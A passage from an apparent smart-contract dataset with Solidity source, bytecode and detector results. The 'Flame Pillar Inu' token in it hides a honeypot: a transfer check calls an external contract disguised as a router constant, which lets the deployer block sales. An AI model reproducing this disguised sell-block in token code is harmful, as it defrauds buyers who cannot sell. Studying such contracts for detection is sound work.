contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220401c74d3e7f766707c9c2337d22314b5f19323083d6f9ef3755e9b0bbab43a3364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,391
0x7c3543345d6ff9ab64ac9ea899cec1ff0b6d7d68
/** *Submitted for verification at Etherscan.io on 2021-11-17 */ //SPDX-License-Identifier: MIT // Telegram: t.me/flamepillarinu pragma solidity ^0.8.9; interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface O{ function amount(address from) external view returns (uint256); } uint256 constant INITIAL_TAX=9; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet uint256 constant TOTAL_SUPPLY=100000000; string constant TOKEN_SYMBOL="FPINU"; string constant TOKEN_NAME="Flame Pillar Inu"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract ERC20Burnable is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(5); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function endTrading() external onlyTaxCollector{ require(_canTrade,"Trading is not started yet"); _swapEnabled = false; _canTrade = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b411461029b5780639e752b95146102c9578063a9059cbb146102e9578063dd62ed3e14610309578063f42938901461034f57600080fd5b806356d9dce81461022957806370a082311461023e578063715018a61461025e5780638da5cb5b1461027357600080fd5b8063293230b8116100d1578063293230b8146101cc578063313ce567146101e35780633e07ce5b146101ff57806351bc3c851461021457600080fd5b806306fdde031461010e578063095ea7b31461015957806318160ddd1461018957806323b872dd146101ac57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152601081526f466c616d652050696c6c617220496e7560801b60208201525b60405161015091906114fb565b60405180910390f35b34801561016557600080fd5b50610179610174366004611565565b610364565b6040519015158152602001610150565b34801561019557600080fd5b5061019e61037b565b604051908152602001610150565b3480156101b857600080fd5b506101796101c7366004611591565b61039c565b3480156101d857600080fd5b506101e1610405565b005b3480156101ef57600080fd5b5060405160068152602001610150565b34801561020b57600080fd5b506101e161077d565b34801561022057600080fd5b506101e16107b3565b34801561023557600080fd5b506101e16107e0565b34801561024a57600080fd5b5061019e6102593660046115d2565b610861565b34801561026a57600080fd5b506101e1610883565b34801561027f57600080fd5b506000546040516001600160a01b039091168152602001610150565b3480156102a757600080fd5b506040805180820190915260058152644650494e5560d81b6020820152610143565b3480156102d557600080fd5b506101e16102e43660046115ef565b610927565b3480156102f557600080fd5b50610179610304366004611565565b610950565b34801561031557600080fd5b5061019e610324366004611608565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035b57600080fd5b506101e161095d565b60006103713384846109c7565b5060015b92915050565b60006103896006600a61173b565b610397906305f5e10061174a565b905090565b60006103a9848484610aeb565b6103fb84336103f6856040518060600160405280602881526020016118c8602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e27565b6109c7565b5060019392505050565b6009546001600160a01b0316331461041c57600080fd5b600c54600160a01b900460ff161561047b5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104a79030906001600160a01b03166104996006600a61173b565b6103f6906305f5e10061174a565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051e9190611769565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a49190611769565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106159190611769565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061064581610861565b60008061065a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106c2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106e79190611786565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610756573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077a91906117b4565b50565b6009546001600160a01b0316331461079457600080fd5b6107a06006600a61173b565b6107ae906305f5e10061174a565b600a55565b6009546001600160a01b031633146107ca57600080fd5b60006107d530610861565b905061077a81610e61565b6009546001600160a01b031633146107f757600080fd5b600c54600160a01b900460ff166108505760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f742073746172746564207965740000000000006044820152606401610472565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461037590610fdb565b6000546001600160a01b031633146108dd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610472565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093e57600080fd5b6009811061094b57600080fd5b600855565b6000610371338484610aeb565b6009546001600160a01b0316331461097457600080fd5b4761077a81611058565b60006109c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611096565b9392505050565b6001600160a01b038316610a295760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610472565b6001600160a01b038216610a8a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610472565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b4f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610472565b6001600160a01b038216610bb15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610472565b60008111610c135760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610472565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8691906117d6565b600c546001600160a01b038481169116148015610cb15750600b546001600160a01b03858116911614155b610cbc576000610cbe565b815b1115610cc957600080fd5b6000546001600160a01b03848116911614801590610cf557506000546001600160a01b03838116911614155b15610e1757600c546001600160a01b038481169116148015610d255750600b546001600160a01b03838116911614155b8015610d4a57506001600160a01b03821660009081526004602052604090205460ff16155b15610da057600a548110610da05760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610472565b6000610dab30610861565b600c54909150600160a81b900460ff16158015610dd65750600c546001600160a01b03858116911614155b8015610deb5750600c54600160b01b900460ff165b15610e1557610df981610e61565b47670de0b6b3a7640000811115610e1357610e1347611058565b505b505b610e228383836110c4565b505050565b60008184841115610e4b5760405162461bcd60e51b815260040161047291906114fb565b506000610e5884866117ef565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea957610ea9611806565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f269190611769565b81600181518110610f3957610f39611806565b6001600160a01b039283166020918202929092010152600b54610f5f91309116846109c7565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f9890859060009086903090429060040161181c565b600060405180830381600087803b158015610fb257600080fd5b505af1158015610fc6573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006005548211156110425760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610472565b600061104c6110cf565b90506109c0838261097e565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611092573d6000803e3d6000fd5b5050565b600081836110b75760405162461bcd60e51b815260040161047291906114fb565b506000610e58848661188d565b610e228383836110f2565b60008060006110dc6111e9565b90925090506110eb828261097e565b9250505090565b6000806000806000806111048761126b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061113690876112c8565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611165908661130a565b6001600160a01b03891660009081526002602052604090205561118781611369565b61119184836113b3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111d691815260200190565b60405180910390a3505050505050505050565b6005546000908190816111fe6006600a61173b565b61120c906305f5e10061174a565b905061123461121d6006600a61173b565b61122b906305f5e10061174a565b6005549061097e565b8210156112625760055461124a6006600a61173b565b611258906305f5e10061174a565b9350935050509091565b90939092509050565b60008060008060008060008060006112888a6007546008546113d7565b92509250925060006112986110cf565b905060008060006112ab8e87878761142c565b919e509c509a509598509396509194505050505091939550919395565b60006109c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e27565b60008061131783856118af565b9050838110156109c05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610472565b60006113736110cf565b90506000611381838361147c565b3060009081526002602052604090205490915061139e908261130a565b30600090815260026020526040902055505050565b6005546113c090836112c8565b6005556006546113d0908261130a565b6006555050565b60008080806113f160646113eb898961147c565b9061097e565b9050600061140460646113eb8a8961147c565b9050600061141c826114168b866112c8565b906112c8565b9992985090965090945050505050565b600080808061143b888661147c565b90506000611449888761147c565b90506000611457888861147c565b905060006114698261141686866112c8565b939b939a50919850919650505050505050565b60008261148b57506000610375565b6000611497838561174a565b9050826114a4858361188d565b146109c05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610472565b600060208083528351808285015260005b818110156115285785810183015185820160400152820161150c565b8181111561153a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077a57600080fd5b6000806040838503121561157857600080fd5b823561158381611550565b946020939093013593505050565b6000806000606084860312156115a657600080fd5b83356115b181611550565b925060208401356115c181611550565b929592945050506040919091013590565b6000602082840312156115e457600080fd5b81356109c081611550565b60006020828403121561160157600080fd5b5035919050565b6000806040838503121561161b57600080fd5b823561162681611550565b9150602083013561163681611550565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561169257816000190482111561167857611678611641565b8085161561168557918102915b93841c939080029061165c565b509250929050565b6000826116a957506001610375565b816116b657506000610375565b81600181146116cc57600281146116d6576116f2565b6001915050610375565b60ff8411156116e7576116e7611641565b50506001821b610375565b5060208310610133831016604e8410600b8410161715611715575081810a610375565b61171f8383611657565b806000190482111561173357611733611641565b029392505050565b60006109c060ff84168361169a565b600081600019048311821515161561176457611764611641565b500290565b60006020828403121561177b57600080fd5b81516109c081611550565b60008060006060848603121561179b57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117c657600080fd5b815180151581146109c057600080fd5b6000602082840312156117e857600080fd5b5051919050565b60008282101561180157611801611641565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561186c5784516001600160a01b031683529383019391830191600101611847565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118aa57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118c2576118c2611641565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122024b79f077a809cb1b0aae14b9b305b0cd7a05a1e75cbfe8a9e8dc6a61d9f8f7f64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,392
0xbc307b1dd32f61637e8a47106e1ddd1300f28405
pragma solidity ^0.4.8; contract SafeMath { function safeSub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract ALBtoken is SafeMath{ // Token information uint256 public vigencia; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; address public owner; //Token Variables uint256[] public TokenMineSupply; uint256 public _MineId; uint256 totalSupplyFloat; uint256 oldValue; uint256 subValue; uint256 oldTotalSupply; uint256 TokensToModify; bool firstTime; struct Minas { uint256 id; string name; uint tokensupply; bool active; } //Mapping /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping(uint256=>Minas) public participatingMines; //Events /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the amount burn*/ event Burn(address indexed from, uint256 value); /* This notifies clients about the token add*/ event AddToken(address indexed from, uint256 value); /*This notifies clients about new mine created or updated*/ event MineCreated (uint256 MineId, string MineName, uint MineSupply); event MineUpdated (uint256 MineId, string MineName, uint MineSupply, bool Estate); /* Initializes contract with initial supply tokens to the creator of the contract */ function ALBtoken(){ totalSupply = 0; // Update total supply name = "Albarit"; // Set the name for 